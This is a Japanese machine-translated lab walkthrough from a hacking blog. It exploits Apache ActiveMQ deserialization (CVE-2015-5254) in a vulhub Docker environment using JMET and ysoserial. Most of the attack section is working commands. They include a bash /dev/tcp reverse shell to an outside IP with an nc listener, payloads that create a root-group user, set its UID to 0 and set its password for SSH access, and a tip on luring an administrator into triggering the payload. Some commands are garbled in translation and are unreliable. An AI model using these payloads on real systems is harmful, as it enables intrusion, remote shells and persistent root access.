Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863559726

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

0x00脆弱性はじめに

Apache ActiveMQは、米国のApache Software Foundationが開発したオープンソースメッセージングミドルウェアのセットです。 Javaメッセージサービス、クラスター、スプリングフレームワークなどをサポートしています。ApacheActiveMQ5.13.0の前に、バージョン5.xの前にセキュリティの脆弱性がありました。リモート攻撃者は、特別に作成されたシリアル化されたJavaメッセージサービス(JMS)ObjectMessageオブジェクトを使用して、任意のコードを実行できます。

0x01脆弱性環境

1。ubuntu16.04の下にdocker/docker-compose:をインストールします

#PIPをインストールします

curl -s https://bootstrap.pypa.io/get-pip.py | Python3

#dockerの最新バージョンをインストールします

curl -s https://get.docker.com/| sh

#Dockerサービスを開始します

Service Docker Start

#composeをインストールします

PIPインストールDocker-Compose

#プロジェクトをダウンロードします

wget https://github.com/vulhub/vulhub/archive/master.zip -o vulhub-master.zip

unzip vulhub-master.zip

CD Vulhub-Master

#特定の脆弱性/環境のディレクトリを入力します

CD Activemq/CVE-2015-5254/

#automatedコンピレーション環境

Docker-Composeビルド

jhj3fukkgtr8650.jpg

2。脆弱性環境を実行:

docker -compose up -d

環境が実行された後、2つのポート61616と8161が聴き、61616は作業ポートであり、このポートでメッセージが渡されます。 8161はネットワーク管理ページポートであり、http://Your-IP:8161にアクセスしてネットワーク管理ページを見ることができますが、理論的には、この脆弱性はネットワークを必要としません。

ブラウザを使用してActiveMQに直接アクセスして、展開が完了しているかどうかを確認します

http://45.32.101.90:8161/admin/(デフォルトのユーザー名/パスワードはadmin/admin)

ljlozame5np8651.jpg

0x02脆弱性の再発

1。脆弱性の搾取プロセスは次のとおりです。

a。 construct(ysoserialを使用できます)実行可能コマンドのシリアル化されたオブジェクト

b。メッセージとして、ターゲットポート61616に送信します

c。アクセスされたWeb管理ページ、メッセージの読み取り、トリガーの脆弱性

2. Exploitation :にJMETを使用します

最初にJMET JARファイルをダウンロードし、同じディレクトリに外部フォルダーを作成します(それ以外の場合、フォルダーが存在しないエラーが爆発する場合があります)。 JMETの原則は、Ysoserialを使用してペイロードを生成して送信することです(瓶にYsoserialが付属しているため、ローマなどのYsoserialガジェットで使用できるものを選択する必要があります。

CD /OPT

wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar

MKDIR外部

3。コマンドを実行します

Java -jar Jmet -0.1.0 -All.jar -Q Event -i activemq -s -y 'touch /tmp /sucess' -yp Rome 45.32.101.90 61616

fz1puf33kpx8652.jpg

4。現時点では、ターゲットActiveMQに名前付きイベントというキューが追加されます。 http://45.32.101.903:8161/admin/browse.jsp?jmsdestination=event:beansed from http://45.32.101.903:8161からすべてのメッセージが表示されます。

t0gfl2yp50z8653.jpg

5.クリックしてこのメッセージを表示して、コマンドの実行をトリガーします

n5i0b43ajos8654.jpg

6.この時点でコンテナを入力します

docker exec -it cc0e9385f975 /bin /bash

fetkrrwuw2l8655.jpg

7./TMP /が正常に作成されていることがわかります。これは、搾取が成功していることを示しています。

zbaliwgexai8656.jpg

8.Bounce Shell:

Java -jar Jmet -0.1.0 -All.jar -Q Event -i activemq -s -y 'bash -i /dev/tcp/45.32.101.90/123401' -Yp Rome45.32.101.90 61616

3ur34wwqf2e8657.jpg

リモートホストはポート1234に耳を傾けます。

NC -LVVP 1234

リバウンドがshell:であることがわかります

kstq35odu0q8658.jpg

ネットワーク管理ページを介してメッセージにアクセスし、脆弱性をトリガーするには管理者の権限が必要であることは注目に値します。パスワードがなければ、管理者にリンクにトリガーへのリンクにアクセスするように誘導したり、他の正当なサービスに必要なメッセージとして偽装したり、クライアントにアクセスできるようにすることができます。

9.ユーザーを追加します

JMEMコマンドを実行してテストユーザーを追加してルートグループに追加し、http://192.168.221.185:8161/admin/browse.jsp?jmsdestination=イベントページに戻り、メッセージをクリックしてトリガーを使用します。

Java -jar Jmet -0.1.0 -All.jar -Q Event -i activemq -s -y 'useradd -g root -s /bin /bash -u 10010 test' -yp rome 45.32.101.90 61616

ルートの権限があるように、PassWDのテストのUIDを0に変更して、http://192.168.221.1853:8161/admin/browse.jsp?jmsdestination=eventページ、メッセージをクリックしてトリガーに戻ります。

Java -jar Jmet -0.1.0 -All.jar -Q Event -i activemq -s -y 'sed -i' s/test:x3:10010/etc/etc/etc/passwd '-yp rome 45.32.101.90 616166

テストユーザーのパスワードを設定し、http://192.168.221.185:8161/admin/browse.jsp?jmsdestination=イベントページに戻り、メッセージをクリックしてトリガーします。

Java -jar Jmet -0.1.0 -All.jar -Q Event -i activemq -s -y 'echo' test:SD123456 '| Chpasswd '-yp Rome 45.32.101.90 61616

この時点まで、ルートとパスワード123456の権限を持つユーザーが作成されました。 SSHを使用して、オペレーティングシステムに直接リモートでログインできますが、それでも最高の権限があります。

qsnhwm3ticb8659.jpg

0x03参照リンク

https://www.blackhat.com/docs/us-16/materials/us-16-kaiser-pwning-your-java-messaging-with-deserialization-vulnerabilities.pdf